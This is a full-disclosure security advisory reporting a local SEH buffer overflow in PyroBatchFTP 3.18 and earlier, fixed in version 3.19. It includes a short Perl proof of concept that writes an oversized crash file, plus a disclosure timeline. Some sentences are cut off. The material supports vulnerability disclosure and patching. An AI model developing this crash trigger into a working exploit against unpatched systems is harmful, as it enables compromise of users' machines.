MGC ALERT 2018-001
– Original release date: December 22, 2017
– Last revised: January 12, 2018
– Discovered by: Manuel GarcAa CA!rdenas
– Severity: 7,5/10 (CVSS Base Score)
PyroBatchFTP <= 3.18 – Local Buffer Overflow (SEH)
PyroBatchFTP is a Windows software that lets you exchange files with FTP,
FTPS or SFTP servers in an automatic and unattended way, using a simple yet
powerful batch/script language.
The Enterprise version of PyroBatchFTP is affected by a Local Buffer
The application does not check bounds when reading the file that will
execute the script, resulting in a classic Buffer Overflow overwriting SEH
To exploit the vulnerability only is needed create a local script to
interact with the application.
IV. PROOF OF CONCEPT
my $file= “crash.cmd”;
my $junk= “A” x 2052;
my $nseh = “BBBB”;
my $seh = “CCCC”;
print $FILE $junk.$nseh.$seh;
print “File Created successfully\n”;
V. BUSINESS IMPACT
Availability compromise can result from these attacks.
VI. SYSTEMS AFFECTED
PyroBatchFTP <= 3.18
Vendor release 3.19 version
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
December 22, 2017 1: Initial release
January 12, 2018 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
December 22, 2017 2: Send to vendor
January 12, 2018 3: Vendor fix the vulnerability and release a new version
January 12, 2018 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no
warranties or guarantees of fitness of use or otherwise.
Manuel Garcia Cardenas